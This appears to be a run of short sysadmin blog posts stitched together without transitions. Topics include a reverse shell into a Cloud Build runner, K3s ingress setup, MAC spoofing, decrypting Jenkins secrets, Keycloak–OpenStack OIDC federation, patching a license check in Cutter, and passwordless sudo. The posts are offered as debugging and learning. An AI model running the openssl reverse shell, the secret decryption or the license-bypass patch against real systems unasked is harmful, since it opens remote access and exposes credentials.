When attempting to debug an issue, it can be challenging to reproduce the problem on the machine used in the CI/CD process, especially if it is different from the local development environment. Because there is no direct access to the runner machine in cloudbuild, there is alternative way by applying the reverse-shell method that allows gaining access to the CI/CD environment.

Note: Establishing a reverse shell should only be done for the purpose of debugging and testing and not to be misused.

1. On client (vm / server that can be accessed from public)

$ sudo apt-get install rlwrap # readline wrapper for nice tty
$ openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
$ rlwrap openssl s_server -quiet -key key.pem -cert cert.pem -port 4444

2. On target / cloudbuild runner machine

   In cloudbuild.yaml

- id: Reverse shell
  name: ubuntu
  entrypoint: bash
  args:
    - "-c"
    - |-
      apt-get update
      apt-get install python3 openssl -y
      mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -connect <CLIENT_IP>:4444 > /tmp/s; rm /tmp/s

3. Back to the VM / Server

### Wait after the connection has been established, then upgrade the shell to fully interactive tty
$ python3 -c "import pty; pty.spawn('/bin/bash')"
root@49662e972571:/workspace# dmidecode -s system-product-name | grep "Google Compute Engine"
Google Compute Engine

Original content: https://gist.github.com/muhammad-asn/867f6224fe60edba627945326fad8ecb

To install K3S, execute the following command with an explanation for INSTALL_K3S_EXEC:

• --disable traefik, servicelb: Remove traefik and servicelb

• --tls-san: Add additional hostnames or IPv4/IPv6 addresses as Subject Alternative Names on the TLS cert, so the controller plane can connect using IP of the server

sudo curl -sfL https://get.k3s.io | INSTALL_K3S_EXEC="--disable traefik,servicelb --tls-san $IP_SERVER" K3S_KUBECONFIG_MODE="644" sh -

2. Install NGINX Ingress Controller

There are several ways to install but we use helm for simplicity.

We will use nginx-ingress-release as the name of the Chart and installing it on nginx-ingress namespace. Since we installed it on a Virtual Private Server (VPS), we're changing the service type to NodePort. This is necessary because the default setting uses LoadBalancer type, which may not be suitable for our VPS environment. Additionally, set the hostNetwork to true so that we can access it via a domain.

$ kubectl create namespace nginx-ingress
namespace/nginx-ingress created

$ helm install nginx-ingress-release oci://ghcr.io/nginxinc/charts/nginx-ingress --version 1.1.0 --namespace nginx-ingress --set controller.service.type=NodePort --set controller.kind=daemonset --set controller.hostNetwork=true
Pulled: ghcr.io/nginxinc/charts/nginx-ingress:1.1.0
Digest: sha256:47eddf60256ad1b0f98596f41d767d9d4cd6ec81f54a284391a4763261c78d3b
NAME: nginx-ingress-release
LAST DEPLOYED: Wed Jan  3 17:20:47 2024
NAMESPACE: default
STATUS: deployed
REVISION: 1
TEST SUITE: None
NOTES:
The NGINX Ingress Controller has been installed.

3. Verify the installation

$ kubectl get daemonset,pods -n nginx-ingress
NAME                                              DESIRED   CURRENT   READY   UP-TO-DATE   AVAILABLE   NODE SELECTOR   AGE
daemonset.apps/nginx-ingress-release-controller   2         2         2       2            2           <none>          34m

NAME                                         READY   STATUS    RESTARTS   AGE
pod/nginx-ingress-release-controller-7szw5   1/1     Running   0          34m
pod/nginx-ingress-release-controller-csl79   1/1     Running   0          34m

4. Install simple application

In this example, we will install simple Apache deployment.

apiVersion: apps/v1
kind: Deployment
metadata:
  name: apache-deployment
spec:
  replicas: 1
  selector:
    matchLabels:
      app: apache
  template:
    metadata:
      labels:
        app: apache
    spec:
      containers:
      - name: apache-container
        image: httpd:latest
        ports:
        - containerPort: 80

---
apiVersion: v1
kind: Service
metadata:
  name: apache-service
spec:
  selector:
    app: apache
  ports:
    - protocol: TCP
      port: 80
      targetPort: 80

5. Expose the application using Ingress

apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: apache-ingress
  namespace: app
spec:
  rules:
  - host: apache.example.id  # Replace with your actual domain
    http:
      paths:
      - path: /
        pathType: Prefix
        backend:
          service:
            name: apache-service
            port:
              number: 80

6. Access the application

To access the application, go to apache.example.id.

Here's how I do it.

1. Get your MAC address

$ ifconfig
en0: flags=8863<UP,BROADCAST,SMART,RUNNING,SIMPLEX,MULTICAST> mtu 1500
    options=400<CHANNEL_IO>
    ether XX:XX:XX:XX:XX:XX  <-- here
    inet 192.168.100.10 netmask 0xffffff00 broadcast 192.168.100.255
    nd6 options=201<PERFORMNUD,DAD>
    media: autoselect
    status: active

2. Turn down the interface of your PC/Laptop

Example of the interface name: wlp4s0

sudo ip link set dev <interface> down

3. Change the MAC Address

XX:XX:XX:XX:XX:XX --> is your MAC Address that you want to use.

sudo ip link set dev wlp4s0 address XX:XX:XX:XX:XX:XX

4. Turn up the interface again, with the new MAC Address

sudo ip link set dev wlp4s0 up

Boom you can connect to the network !!!

1. By using aws cli

I know this is the programmatically way to get the total objects, but beware for the GET api calls pricing, if there's too much files it will cost you a lot of money.

  aws s3 ls s3://<bucket_name>/ --recursive | wc -l

2. By using web console

Go to buckets > bucket-name > Metrics.

You will see some metrics like total bucket size, total number of objects, and more.

$ ssh-keygen -t rsa

2. Copy the ssh key using ssh-copy-id command

$ ssh-copy-id user@192.168.10.10

3. If there's a prompt password, you need to enter the password

$ ssh-copy-id user@192.168.10.10
$ user@192.168.10.10's password:

4. Logged in.

user@192.168.10.10:~$

$ docker run -it --rm --network=host postgres:11.16 bash
root@a018fe70d745:/# apt update && apt install telnet -y

Step 2: Check if postgres is connected by using telnet command

For example the endpoint of the RDS: rds-database.abcdefghi.us-east-1.rds.amazonaws.com

root@a018fe70d745:/# telnet rds-database.abcdefghi.us-east-1.rds.amazonaws.com 5432
Connected to rds-database.abcdefghi.us-east-1.rds.amazonaws.com.
Escape character is '^]'.
^]

Step 3: Connect using the psql command

The command: psql -h rds-database.abcdefghi.us-east-1.rds.amazonaws.com -p 5432 -U <username> -d <dbname> -W

root@a018fe70d745:/# psql -h rds-database.abcdefghi.us-east-1.rds.amazonaws.com -p 5432 -U test -d db_test -W
Password: 
psql (11.16 (Debian 11.16-1.pgdg90+1))
SSL connection (protocol: TLSv1.2, cipher: ECDHE-RSA-AES256-GCM-SHA384, bits: 256, compression: off)
Type "help" for help.

db_test=>

Hello everyone, after a long time I decided to continue this blog in my spare time so please forgive me if there are rarely updates 😃. Then straight to the point, there's problem when I tried to migrate the old Jenkins cluster to the new one. It happened to all the Jenkins job, so I just do debugging like it should and found there's error in the SCM credentials with red error marks.

--- brew the coffee and continue debugging ---

After a while, I found there's an issue on the credentials Secret, so my attempt is to replace the broken Credentials with the right Credentials and here's what I did.

Decrypt Jenkins Credentials

• Open the Script Console page or access the endpoint https://example-jenkins.com/script, and run this script.

decryptedPassword="{XXX=}" # the {XXX=} is the value of the decrypted password, you can get it from inspect element
println(hudson.util.Secret.fromString(decryptedPassword).getPlainText())

• Replace the old broken Secret with the new one with the results in the steps above.

1. FreeIPA and OpenStack is already configured. OpenStack is configured using Kolla Ansible.
2. Keycloak is already configured and federated with FreeIPA (directory service).
3. In this example the current IP and port that has been used

   Keycloak: http://10.20.20.14:8081
   OpenStack: http://10.20.20.100:5000
   

Setup OpenID configuration on Keycloak

This operation is performed on the Keycloak Dashboard.

1. Go to the realm that previously created, for example "freeipa-realm", select Configure > Clients > Create, then fill the following section

    Client ID: openstack-client 
    Client Protocol: openid-connect
   

2. Adjust the authentication flow using OpenID.

    Client ID: openstack-client 
    Client Protocol: openid-connect
    Access Type: Confidential # define the username/password mechanism
    Standard Flow Enabled: On
    Implicit Flow Enabled: On
    Direct Access Grants Enabled: On
   
    Valid Redirect URIs *: https://10.20.20.100:5000/v3/OS-FEDERATION/identity_providers/openidtest/protocols/openid/auth 
    Backchannel Logout Session Required: On
   

   Note: The valid redirect URIs must match the endpoint on OpenStack Keystone

3. On Clients > Credentials tab, you will see the Client ID and Secret.

    Client Authenticator: Client ID
    Secret: XXXXXXXXXXXXX
   

Configure OpenID on Keystone and Horizon

This operation is performed on the OpenStack host.

1. Create directories for Keystone and Horizon services. This directory is used to put the configured files.

    $ sudo mkdir /etc/kolla/config/horizon
    $ sudo mkdir /etc/kolla/config/keystone
   

2. Create the file and change the owner.

    $ sudo touch /etc/kolla/config/horizon/local_settings
    $ sudo touch /etc/kolla/config/keystone/keystone.conf
    $ sudo touch /etc/kolla/config/keystone/wsgi-keystone.conf
   
    $ sudo chown -R $USER:$USER /etc/kolla/config/horizon/
    $ sudo chown -R $USER:$USER /etc/kolla/config/keystone/
   

Configure federating resource on Keystone service

1. Create identity provider object on Keystone

   Remote id value is an issuer on OpenID. To see the issuer you can obtained from the OpenID configuration. By accessing the Keycloak .well-known/openid-configuration endpoint.

   For example:
   http://10.20.20.14:8081/auth/realms/freeipa-realm/.well-known/openid-configuration

   Then, create the object by running the command below

    $ openstack identity provider set --remote-id http://10.20.20.14:8081/auth/realms/freeipa-realm openidtest
   

2. Create a mapping rules for remote user attribute. The file created is in the form of json with the name rules.json.

    $ cat > rules.json <<EOF
    [
        {
            "local": [
                {
                    "user": {
                        "name": "{0}"
                    },
                    "group": {
                        "domain": {
                            "name": "Default"
                        },
                        "name": "federated_users"
                    }
                }
            ],
            "remote": [
                {
                    "type": "HTTP_OIDC_ISS"
                }
            ]
        }
    ]
    EOF
   
    $ openstack mapping create --rules rules.json openidtest_mapping
   

3. Create a group for the role assignment on Keystone

    $ openstack group create federated_users
   

4. Create a project on Keystone

    $ openstack project create federated_project
   

5. Define the roles for group members

    $ openstack role add --group federated_users --project federated_project member
   

6. Create a federation protocol for the identity provider based on the mapping rules that has been created.

    $ openstack federation protocol create openid --mapping openidtest_mapping --identity-provider openidtest
   

   Note: make sure the federation protocol name matches the specified valid keystone authentication rules, such as openid and saml2.

https://docs.openstack.org/keystone/latest/admin/federation/configure_federation.html#sp-prerequisites

Configure Apache Authentication Module to OpenID-Connect

1. Create a protected endpoint

   
    # Keystone
    <Location /v3/OS-FEDERATION/identity_providers/<IDENTITYPROVIDER>/protocols/<PROTOCOL>/auth>
    Require valid-user
    AuthType [...]
    ...
    </Location>
   
    # Horizon (SSO)
    <Location /v3/auth/OS-FEDERATION/websso/<PROTOCOL>>
    Require valid-user
    AuthType [...]
    ...
    </Location>
   
    <Location /v3/auth/OS-FEDERATION/identity_providers/<IDENTITYPROVIDER>/protocols/<PROTOCOL>/websso>
    Require valid-user
    AuthType [...]
    ...
    </Location>
   

2. Configure the authentication module

   This configuration is for Apache web server on virtualhost keystone, set to OIDC option.

    OIDCClaimPrefix "OIDC-"
    OIDCResponseType "id_token"
    OIDCScope "openid email profile"
    OIDCProviderMetadataURL https://<URL_IDENTITY_PROVIDER>/.well-known/openid-configuration
    OIDCClientID <openid_client_id>
    OIDCClientSecret <openid_client_secret>
    OIDCCryptoPassphrase <random string> # random string
    OIDCRedirectURI https://<URL_HORIZON>/v3/OS-FEDERATION/identity_providers/<IDENTITYPROVIDER>/protocols/<PROTOCOL>/auth
   

3. Then add the configuration to /etc/kolla/config/keystone/wsgi-keystone.conf.

    <VirtualHost *:5000>
    ….
    ….
   
    ServerName https://10.20.20.100:5000
    OIDCClaimPrefix "OIDC-"
    OIDCResponseType "id_token"
    OIDCScope "openid email profile"
    OIDCProviderMetadataURL http://10.20.20.14:8081/auth/realms/freeipa-realm/.well-known/openid-configuration 
    OIDCClientID openstack-client # keycloak client id
    OIDCClientSecret xxxx-xxxx-xxxx-xxxx-xxxx # keycloak client secret
    OIDCCryptoPassphrase openstack
    OIDCRedirectURI https://10.20.20.100:5000/v3/OS-FEDERATION/identity_providers/openidtest/protocols/openid/auth 
   
    # Keystone
    <Location /v3/OS-FEDERATION/identity_providers/openidtest/protocols/openid/auth>
        Require valid-user
        AuthType openid-connect
        LogLevel debug
    </Location>
   
    # Horizon
    <Location /v3/auth/OS-FEDERATION/websso/openid>
        Require valid-user
        AuthType openid-connect
    </Location>
   
    <Location /v3/auth/OS-FEDERATION/identity_providers/openidtest/protocols/openid/websso>
        Require valid-user
        AuthType openid-connect
    </Location>
   
    ...
    ...
    ...
    </VirtualHost>
   

   • OIDCProviderMetadataURL is located in freeipa-realm > Configure > Realm Settings, then select Endpoints and click "Endpoints OpenID Endpoint Configuration". *

Configure Keystone

This configuration is performed on /etc/kolla/config/keystone/keystone.conf.

1. Add the authentication method.

    [auth]
    methods = password,token,saml2,openid
   

2. Configure the remote ID attribute.

    [openid]
    remote_id_attribute = HTTP_OIDC_ISS
   
    [federation]
    remote_id_attribute = HTTP_OIDC_ISS
   

3. Add the Trusted Dashboard (WebSSO).

    [federation]
    trusted_dashboard = https://10.20.20.100/auth/websso/
    sso_callback_template = /etc/keystone/sso_callback_template.html
   

Configure Horizon

The configuration is performed on /etc/kolla/config/horizon/local_settings.

1. Enable the SSO

    WEBSSO_ENABLED = True
   

2. Configure the provider for SSO

    WEBSSO_CHOICES = (
        ("credentials", _("Keystone Credentials")),
        ("openidtest_openid", "Keycloak - OpenID Connect"),
    )
   
    # NOTE: The value is expected to be a tuple formatted as: (<idp_id>, <protocol_id>).
    WEBSSO_IDP_MAPPING = {
        "openidtest_openid": ("openidtest", "openid"),
    }
   

   Reconfigure OpenStack

    $ kolla-ansible -i multinode reconfigure
   

Reference

https://docs.openstack.org/keystone/ussuri/admin/federation/configure_federation.html#create-a-mapping

https://github.com/keycloak/keycloak-documentation/blob/master/securing_apps/topics/oidc/mod-auth-openidc.adoc

http://wsfdl.com/openstack/2016/02/01/Keystone-Google-Federation-With-OpenID.html

https://www.meshcloud.io/2017/08/25/federated-authentication-with-the-openstack-cli/

https://docs.openstack.org/keystone/pike/configuration/samples/keystone-conf.html

http://www.gazlene.net/federation-devstack.html

1. Install Cutter from this link Cutter Radare.

2. Create a simple program called vulnerable_license.c.

    #include <string.h>
    #include <stdio.h>
   
    int main(int argc, char *argv[]) {
        if(argc==2) {
                printf("Checking License: %s\n", argv[1]);
                if(strcmp(argv[1], "AABB-CCDD-20-OK")==0) {
                        printf("Access Granted!\n");
                } else {
                        printf("WRONG!\n");
                }
            } 
        else {
                printf("Usage: <key>\n");
        }
        return 0;
    }
   

   This program basically check the correct license to get the access of the program.

3. Then, compile the program using default gcc option.

      gcc vulnerable_license.c -o vulnerable_license
   

    # Example: if your input is "AABB-CCDD-20-OK" you get the access, else you get "WRONG!".
   
    $ ./vulnerable_license AABB-CCDD-21-MM 
    Checking License: AABB-CCDD-21-MM
    WRONG!
   
    $ ./vulnerable_license AABB-CCDD-20-OK 
    Checking License: AABB-CCDD-20-OK
    Access Granted!
   

4. Open your Cutter app and load the compiled file before and make sure to checked the write mode.

   

   

5. You will look something like this.

   We interested in main function, because we see there's a checker, so we need to bypass the checker by changing the flow of the program.

   

   From the picture above, there's some mechanism to change the flow by using reverse jump in Cutter. We tend to change the flow of result test eax eax, by default if the result not zero or the string is not same it will jump to "WRONG!" so we need to reverse the logic, by allowing the wrong string to grant the access.

6. You need to click the jne 0x11b9 in my case, other computers maybe different. Edit -> Reverse Jump. The new change will similar like this.

   

   By runtime the flow of the program is changed.

7. Save the changes and try to run the program again.

    $ ./vulnerable_license AABB-CCDD-21-MM 
    Checking License: AABB-CCDD-21-MM
    Access Granted!
   
    $ ./vulnerable_license AABB-CCDD-20-OK
    Checking License: AABB-CCDD-20-OK
    WRONG!
   

Source: Patch Binaries with Cutter

1. Create backup of /etc/sudoers:

    $ sudo cp /etc/sudoers /etc/sudoers.bak
   

2. Then, using nano/vi to edit the /etc/sudoers file.

    $ sudo visudo
   

   By default visudo using vi editor, but if you want to use nano (for example).

   It will show similar like this and enter your preferred editor.

    $ sudo update-alternatives --config editor
   
    There are 4 choices for the alternative editor (providing /usr/bin/editor).
    Selection    Path                Priority   Status
    ------------------------------------------------------------
    * 0          /bin/nano            40        auto mode
    1            /bin/ed             -100       manual mode
    2            /bin/nano            40        manual mode
    3            /usr/bin/vim.basic   30        manual mode
    4            /usr/bin/vim.tiny    15        manual mode
   
    Press <enter> to keep the current choice[*], or type selection number:
   

3. Add or Edit your user to add the NO PASSWD privilege. It will show similar like this.

   
    # This file MUST be edited with the 'visudo' command as root.
    #
    # Please consider adding local content in /etc/sudoers.d/ instead of
    # directly modifying this file.
    #
    # See the man page for details on how to write a sudoers file.
    #
    Defaults    env_reset
    Defaults    mail_badpass
    Defaults    secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin"
   
    # Host alias specification
   
    # User alias specification
   
    # Cmnd alias specification
   
    # User privilege specification
    root    ALL=(ALL:ALL) ALL
   
    # Members of the admin group may gain root privileges
    %admin ALL=(ALL) ALL
   
    # Allow members of group sudo to execute any command
    %sudo   ALL=(ALL:ALL) ALL
   
    # See sudoers(5) for more information on "#include" directives:
   
    #includedir /etc/sudoers.d
    $USER ALL=(ALL) NOPASSWD: ALL # $USER is your user in Unix/Linux host.
   

4. To give it a try, you can save the new /etc/sudoers file and do:

    $ sudo su
    root@your-pc-name:/home/user#